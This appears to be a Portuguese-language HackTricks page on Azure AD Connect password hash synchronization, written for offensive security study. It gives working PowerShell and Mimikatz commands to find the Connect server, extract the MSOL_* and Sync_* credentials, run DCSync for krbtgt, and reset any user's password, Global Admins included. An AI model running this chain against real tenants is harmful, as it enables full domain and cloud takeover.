Az - PHS - Sincronização de Hash de Senha
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Dos documentos: A sincronização de hash de senha é um dos métodos de login usados para realizar identidade híbrida. Azure AD Connect sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada em nuvem.
.png)
É o método mais comum usado por empresas para sincronizar um AD local com o Azure AD.
Todos os usuários e um hash dos hashes de senha são sincronizados do local para o Azure AD. No entanto, senhas em texto claro ou os hashes originais não são enviados para o Azure AD.
Além disso, grupos de segurança integrados (como administradores de domínio...) não são sincronizados com o Azure AD.
A sincronização de hashes ocorre a cada 2 minutos. No entanto, por padrão, expiração de senha e expiração de conta não são sincronizadas no Azure AD. Assim, um usuário cuja senha local expirou (não foi alterada) pode continuar a acessar recursos do Azure usando a senha antiga.
Quando um usuário local deseja acessar um recurso do Azure, a autenticação ocorre no Azure AD.
PHS é necessário para recursos como Proteção de Identidade e Serviços de Domínio AAD.
Pivotando
Quando o PHS é configurado, algumas contas privilegiadas são automaticamente criadas:
- A conta
MSOL_<installationID>
é automaticamente criada no AD local. Esta conta recebe um papel de Contas de Sincronização de Diretório (veja documentação), o que significa que ela tem permissões de replicação (DCSync) no AD local. - Uma conta
Sync_<nome do servidor ADConnect local>_installationID
é criada no Azure AD. Esta conta pode reiniciar a senha de QUALQUER usuário (sincronizado ou apenas em nuvem) no Azure AD.
As senhas das duas contas privilegiadas anteriores são armazenadas em um servidor SQL no servidor onde Azure AD Connect está instalado. Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.
O banco de dados está localizado em C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
.
É possível extrair a configuração de uma das tabelas, sendo uma criptografada:
SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;
A configuração criptografada é criptografada com DPAPI e contém as senhas do usuário MSOL_*
no AD local e a senha de Sync_* no AzureAD. Portanto, comprometendo essas informações, é possível obter privilégios elevados no AD e no AzureAD.
Você pode encontrar uma visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra.
Encontrando o servidor de conexão do Azure AD
Se o servidor onde o Azure AD Connect está instalado estiver associado ao domínio (recomendado na documentação), é possível encontrá-lo com:
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
Abusando do MSOL_*
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
caution
Você também pode usar adconnectdump para obter essas credenciais.
Abusando Sync_*
Comprometer a conta Sync_*
torna possível reiniciar a senha de qualquer usuário (incluindo Administradores Globais)
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
Também é possível modificar as senhas apenas dos usuários da nuvem (mesmo que isso seja inesperado)
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
É também possível despejar a senha deste usuário.
caution
Outra opção seria atribuir permissões privilegiadas a um principal de serviço, que o usuário Sync tem permissões para fazer, e então acessar esse principal de serviço como uma forma de privesc.
SSO Sem Costura
É possível usar SSO Sem Costura com PHS, que é vulnerável a outros abusos. Confira em:
Referências
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs
- https://aadinternals.com/post/on-prem_admin/
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf
- https://www.youtube.com/watch?v=xei8lAPitX8
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.